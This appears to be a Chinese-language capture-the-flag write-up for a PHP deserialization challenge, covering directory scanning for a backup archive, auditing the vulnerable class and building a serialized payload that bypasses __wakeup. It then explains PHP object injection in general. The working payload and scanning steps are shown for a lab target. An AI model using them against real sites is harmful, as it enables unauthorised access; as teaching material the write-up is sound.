本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,发现一只好玩的小猫,

这里有一个明显的提示备份网站的良好习惯(”备份网站” 通常指网站开发者或管理员为防止数据丢失而创建的网站文件副本。这类备份文件可能包含敏感信息(如源码、数据库凭证),常成为渗透测试或CTF中的突破口。)

使用dirsearch扫描网站

如果使用默认配置会出现429报错(在使用 Dirsearch 进行目录扫描时,如果一直返回 429 错误,这通常是因为请求频率过高)

需要通过降低线程数和增加请求之间的延迟,可以减少服务器的负载,从而避免429错误(这是方法之一,扫描会很慢)

常见备份文件名
www.zip、website.bak、index.php.bak、.git 目录等。

这里发现www.zip文件,通过URL下载

代码审计


其中有一个flag.php文件,但并不是真正的flag
看到index.php和class.php文件
index.php:注意到36行

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];//接受GET传入的select参数
$res=unserialize(@$select);//直接反序列化(漏洞点)
?>

class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include 'flag.php';

error_reporting(0);//关闭错误提示,防止信息泄露。

class Name{
private $username = 'nonono';//私有属性 $username 和 $password
private $password = 'yesyes';

public function __construct($username,$password){ //__construct():构造函数,初始化 $username 和 $password
$this->username = $username;
$this->password = $password;
}

function __wakeup(){ //__wakeup():反序列化时自动调用,强制 $username = 'guest'
$this->username = 'guest';
}

function __destruct(){ //__destruct():对象销毁时调用,检查 $password 和 $username,决定是否输出flag
if ($this->password != 100) { //如果 $password 不等于 100,直接输出错误信息并终止程序
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //username='admin'则会输出flag
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

要想获得flag:
条件1:$this->password != 100
如果 $password 不等于 100,直接输出错误信息并终止程序。
条件2:$this->username === ‘admin’(需要绕过__wakeup魔术方法)
如果 $username 是 ‘admin’,输出 $flag。

构造反序列化

1
2
3
4
5
6
7
8
9
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$name=new Name;
$str=serialize($name);//序列化
echo $str;
?>

绕过__wakeup魔术方法

我们需要上面代码获得的结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
我们需要将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们
的username重新赋值,所以我们要考虑的就是怎么绕过__wakeup(),而去执行__destruct()
在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup()
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
其中还需要注意:private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字
段名在序列化时,类名和字段名前面都会加上\0的前缀
最终payload:

1
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}


获得flag

php反序列化漏洞

基本原理

序列化是将对象转换为可存储或传输的格式(如字符串),而反序列化则是将这些数据重新转换为对象。当应用程序反序列化不可信数据时,攻击者可以构造恶意序列化数据来执行任意代码或进行其他恶意操作。
php反序列化漏洞通常利用__wakeup(), __destruct(), __toString()等魔术方法

什么是序列化

将各种类型的数据压缩按照一定格式存储的过程 使用函数serialize()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$name=new Name;
$str=serialize($name);//序列化
echo $str;
?>
//反序列化结果:O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
/*
这里的O表示这是一个对象
对象名占4个字符
对象名是Name
对象有2个属性($username和$passwd)
/*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Test {
public $public = 'public'; //共有属性
protected $protected = 'protected';//保护属性
private $private = 'private'; //私有属性
}

serialize(new Test());//序列化
/*
公有属性:正常显示
受保护属性:\0*\0前缀
私有属性:\0类名\0前缀

O:4:"Test":3:{
s:6:"public";s:6:"public";
s:12:"\0*\0protected";s:9:"protected";
s:13:"\0Test\0private";s:7:"private";
/*

什么是反序列化

php反序列化漏洞又称对象注入 ,可能会导致远程代码执行(RCE)
理解为漏洞执行unserialize函数,调用某一类并执行魔术方法,之后执行类中的函数,产生安全问题。

漏洞前提

1.unserialize()函数的变量可控
2.php文件中存在可利用的类,类中有魔术方法

一般步骤:

1.找出题目中的可利用类(如上述题目中的’Name’类)
2.去掉方法和一些没有用的东西
3.本地对属性赋值,构造序列化(如对username赋值admin,对passwd赋值100